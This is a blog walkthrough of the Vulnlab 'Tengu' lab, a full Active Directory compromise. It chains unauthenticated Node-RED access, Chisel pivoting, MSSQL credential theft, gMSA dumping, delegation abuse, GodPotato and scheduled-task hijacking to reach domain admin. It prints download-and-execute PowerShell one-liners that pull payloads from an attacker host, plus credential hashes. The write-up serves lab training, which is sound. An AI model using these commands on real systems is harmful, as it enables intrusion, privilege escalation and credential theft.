Post

VL - Tengu

Initial Access

On 10.10.193.119 is a web service running named Node-RED on port 1880 which does not require authentication. We can make a flow which executes a reverse shell on the target system:

1
Inject/Timestamp -> Exec (enter your rev shell in this block) -> debug

Save the flow and press the button on the left of the timestamp to execute.

Internal enumeration

Since almost all ports where closed from the outside we can try to scan from the inside to discover what is running and where. We can start a reverse forward with Chisel:

1
2
3
4
5
// On target
./chisel_linux client <VPN-IP>:8001 R:1080:socks &
​
// On AttackerBox
chisel server -p 8001 --reverse

Since scanning through ProxyChains is a pain in the bum we can transfer a static NMAP over and scan from our first compromised machine which reveals:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
10.10.193.117:
Not shown: 1146 filtered ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos
135/tcp  open  epmap
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd
593/tcp  open  unknown
636/tcp  open  ldaps
3389/tcp open  ms-wbt-server
​
10.10.193.118:
Not shown: 1153 filtered ports
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s
3389/tcp open  ms-wbt-server

It is pretty save to assume that .117 is the domain controller. There is also a service running on port 631 listening on 127.0.0.1 if we forward this we see that it is. In nodered_svc home directory is a hidden folder for node-red which has a hash in flows_cred.json.

1
"$": "7f5ab122acc2c24df1250a30<redacted>"

After searching around how the red node works and how it handles credentials i stumbled against ​extract nodered creds. By following the steps in the blogpost we can decrypt the password used for mssql.

1
{"d237b4c16a396b9e":{"username":"nodered_connector","password":"DreamPuppy<redacted>"}}

MSSQL user

Since we have credentials we can use our proxy to log into the mssql server:

1
proxychains mssqlclient.py nodered_connector:DreamPuppy<redacted>@10.10.193.118 

We have low privileges and can not enable xp_cmdshell to execute system commands. We can check if there are any other databases available:

1
2
3
SELECT name FROM master.dbo.sysdatabases;
SELECT * FROM Demo.INFORMATION_SCHEMA.TABLEs;
SELECT * FROM Users;

These commands reveals a hash for the user:

1
t2_m.winters:af9cfa9b70e5e90984203087e5<redacted>

By throwing this into crackstation we get a password back, we can ssh with these credentials into the first machine we got access to:

1
ssh tengu.vl\\t2_m.winters@10.10.193.119

We can simply sudo su and become root. With these same credentials we can run Bloodhound to gather more information:

1
proxychains bloodhound-python -d tengu.vl -c All -dc dc.tengu.vl -ns tengu.vl -u t2_m.winters -p <Password> --zip

The interesting path that bloodhound reveals is:

  • The NodeRed machine can read GMSA password
  • Allowed to delegate from the GMSA01$ user which we can dump to the SQL server

SQL Server

Since we are root now we can use KeyTabExtract to dump the hash of the machine account, there are multiple tools doing basically the same but this one was the only one that i found without a pip install requirement.

1
python3 keytabextract.py /etc/krb5.keytab

We can then use the NTLM hash to dump the GMSA:

1
proxychains netexec ldap dc.tengu.vl -u 'NODERED$' -H <hash> --gmsa

With the hash we can start abusing the delegate to the SQL server , we first have to request a ticket for the MSSQLSvc but the user has to be part of the SQL Admins group:

1
proxychains impacket-getST -dc-ip dc.tengu.vl -spn MSSQLSvc/sql.tengu.vl 'tengu.vl/gMSA01$:@sql.tengu.vl' -hashes :8b038ae130a27269ce19d11a8ab1be89  -impersonate 'T1_M.WINTERS'

We can now import the ticket:

1
export KRB5CCNAME=T1_M.WINTERS.ccache

And login into the SQL server:

1
proxychains mssqlclient.py -k sql.tengu.vl

As SQL Admins we can enable xp_cmdshell and execute our reverse shell due to the length limitation of 128 chars we have to retrieve it remotely:

1
2
enable_xp_cmdshell
xp_cmdshell echo IEX(New-Object Net.WebClient).DownloadString("http://<VPN>:8000/s.ps1") | powershell -noprofile

We now have a shell, when checking the privs of the user:

1
2
3
4
5
6
7
PRIVILEGES INFORMATION ----------------------  Privilege Name                Description                               State    ============================= ========================================= ======== 
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled 
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled 
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled  
SeImpersonatePrivilege        Impersonate a client after authentication Enabled  
SeCreateGlobalPrivilege       Create global objects                     Enabled  
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

With these privileges we can use god potato and get a shell as SYSTEM:

1
./god.exe -cmd "powershell.exe -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<VPN>:8000/s.ps1');"

Domain Admin

In C:\ there is a directory named admin which has a powershell script running. When we retrieve the owner of the file:

1
Get-Acl Task.ps1 | Select-Object Owner

We notice that a domain admin is the owner of it. By enumerating a bit more we can find a scheduled task for this file:

1
Get-ScheduledTask

We can now simply change the content of Task.ps1 and force the task execution:

1
2
3
wget http://<VPN>:8000/s.ps1 -o Task.ps1
type Task.ps1
Start-ScheduledTask -TaskName Daily_Checkup

Now with a shell back as the DA we can simply log into the DC and get the last flag.

This post is licensed under CC BY 4.0 by the author.